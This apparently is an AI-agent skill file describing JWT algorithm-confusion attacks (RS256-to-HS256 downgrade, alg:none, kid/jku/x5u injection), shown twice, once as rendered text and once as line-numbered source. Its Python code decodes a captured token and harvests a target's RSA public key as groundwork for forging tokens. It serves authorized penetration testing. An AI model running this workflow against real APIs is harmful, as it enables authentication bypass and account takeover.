Exploiting JWT Algorithm Confusion Attack
When to Use
- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
- Assessing JWT implementations for alg:none bypass where the server skips signature verification
- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
- Validating that the API server enforces a specific algorithm and does not trust the JWT header
Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.
Prerequisites
- Written authorization specifying the target API and JWT-based authentication in scope
- A valid JWT token from the target API (obtained through legitimate authentication)
- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
- Python 3.10+ with
PyJWT, cryptography, and requests libraries
- jwt_tool for automated JWT attack testing
- Burp Suite with JWT Editor extension
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: JWT Token Analysis
import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
# Decode JWT parts
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
Step 2: Obtain the Public Key
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# Extract RSA public key from JWKS
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # First key
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
print(f"Public key found at: {path}")
📎 Detailed content (full examples / references / data tables) has been split into reference.md in the same directory; use Read to load the relevant section on demand.
1---2name: exploiting-jwt-algorithm-confusion-attack3description: "Exploit JWT algorithm confusion attacks. Signals: API attack, interface testing, GraphQL."4zh-signals: "Exploiting JWT Algorithm Confusion Attack 信号:api攻击,接口测试,graphql。"5when-to-use: >-6 Exploits JWT algorithm confusion where the server's verification library trusts7 the alg named in the token header, by switching RS256 to HS256 (signing with the8 RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u9 headers to supply an attacker-controlled key. Use when testing RS256 JWT auth10 for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.11domain: cybersecurity12subdomain: api-security13tags:14- api-security15- jwt16- algorithm-confusion17- token-forgery18- cryptographic-attack19version: 1.0.020author: mahipal21license: Apache-2.022nist_csf:23- PR.PS-0124- ID.RA-0125- PR.DS-1026- DE.CM-0127mitre_attack:28- T119029- T1059.00730- T1552.00131- T105532- T105933metadata:34 source: https://skillmd.com/skills/dangeroussong/exploiting-jwt-algorithm-confusion-attack35---3637# Exploiting JWT Algorithm Confusion Attack3839## When to Use4041- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS25642- Assessing JWT implementations for alg:none bypass where the server skips signature verification43- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret44- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection45- Validating that the API server enforces a specific algorithm and does not trust the JWT header4647**Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.4849## Prerequisites5051- Written authorization specifying the target API and JWT-based authentication in scope52- A valid JWT token from the target API (obtained through legitimate authentication)53- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)54- Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries55- jwt_tool for automated JWT attack testing56- Burp Suite with JWT Editor extension575859> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.6061## Workflow6263### Step 1: JWT Token Analysis6465```python66import base6467import json68import requests69import hmac70import hashlib71import time7273BASE_URL = "https://target-api.example.com/api/v1"7475# Capture a valid JWT token76login_resp = requests.post(f"{BASE_URL}/auth/login",77 json={"email": "test@example.com", "password": "TestPass123!"})78valid_token = login_resp.json().get("access_token", "")7980# Decode JWT parts81def decode_jwt(token):82 parts = token.split('.')83 if len(parts) != 3:84 raise ValueError("Invalid JWT format")8586 def pad(s):87 return s + '=' * (4 - len(s) % 4)8889 header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))90 payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))91 return header, payload, parts[2]9293header, payload, signature = decode_jwt(valid_token)94print(f"Algorithm: {header.get('alg')}")95print(f"Key ID: {header.get('kid', 'none')}")96print(f"Type: {header.get('typ')}")97print(f"JKU: {header.get('jku', 'none')}")98print(f"\nPayload: {json.dumps(payload, indent=2)}")99print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")100```101102### Step 2: Obtain the Public Key103104```python105from cryptography.hazmat.primitives import serialization106from cryptography.x509 import load_pem_x509_certificate107108# Method 1: JWKS endpoint109jwks_url = f"{BASE_URL}/.well-known/jwks.json"110jwks_resp = requests.get(jwks_url)111if jwks_resp.status_code == 200:112 jwks = jwks_resp.json()113 print(f"JWKS keys found: {len(jwks.get('keys', []))}")114 for key in jwks['keys']:115 print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")116117 # Extract RSA public key from JWKS118 from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers119 from cryptography.hazmat.backends import default_backend120121 rsa_key = jwks['keys'][0] # First key122 n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')123 e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')124 public_key = RSAPublicNumbers(e, n).public_key(default_backend())125 public_key_pem = public_key.public_bytes(126 encoding=serialization.Encoding.PEM,127 format=serialization.PublicFormat.SubjectPublicKeyInfo128 )129 print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")130131# Method 2: From well-known OpenID configuration132oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")133if oidc_resp.status_code == 200:134 jwks_uri = oidc_resp.json().get('jwks_uri')135 print(f"JWKS URI from OIDC config: {jwks_uri}")136137# Method 3: Exposed at common paths138for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:139 resp = requests.get(f"{BASE_URL}{path}")140 if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):141 print(f"Public key found at: {path}")142```143144> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.